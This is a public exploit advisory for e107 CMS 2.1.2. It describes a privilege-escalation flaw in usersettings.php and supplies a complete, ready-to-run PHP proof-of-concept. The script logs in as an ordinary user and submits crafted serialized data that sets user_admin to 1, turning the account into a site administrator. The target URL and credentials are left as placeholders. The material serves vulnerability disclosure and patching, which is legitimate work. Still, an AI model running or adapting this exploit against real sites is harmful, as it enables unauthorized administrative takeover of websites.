e107 CMS 2.1.2 Privilege Escalation

# Exploit Title: e107 CMS 2.1.2 Privilege Escalation
# Date: 09-11-2016
# Software Link: http://e107.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.

http://security.szurek.pl/e107-cms-211-privilege-escalation.html

2. Proof of Concept

<?php

/**
 * e107 CMS 2.1.2 Privilege Escalation
 * Kacper Szurek
 * http://security.szurek.pl
 */
function hack($url, $login, $pass, $cookie){

  $ckfile = dirname(__FILE__) . $cookie;
  $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
  curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
  curl_setopt($ch, CURLOPT_POST, 1);
  $content = curl_exec($ch);
  if (strpos($content, '?logout') === false) {
    die("Cannot login");
  }

  $data = array();
  $data['user_admin'] = 1;
  $data['user_perms'] = 0;
  $data['user_password'] = md5($pass);

  curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
  curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));
  $content = curl_exec($ch);

  if (strpos($content, 'Settings updated') === false) {
    die("Exploit probably failed");
  }

  die('OK!');
}

$url = "http://url_here";

// Standard user credentials 
$user = "login_here";
$pass = "password_here";

$cookie = "/cookie.txt";
hack($url, $user, $pass, $cookie);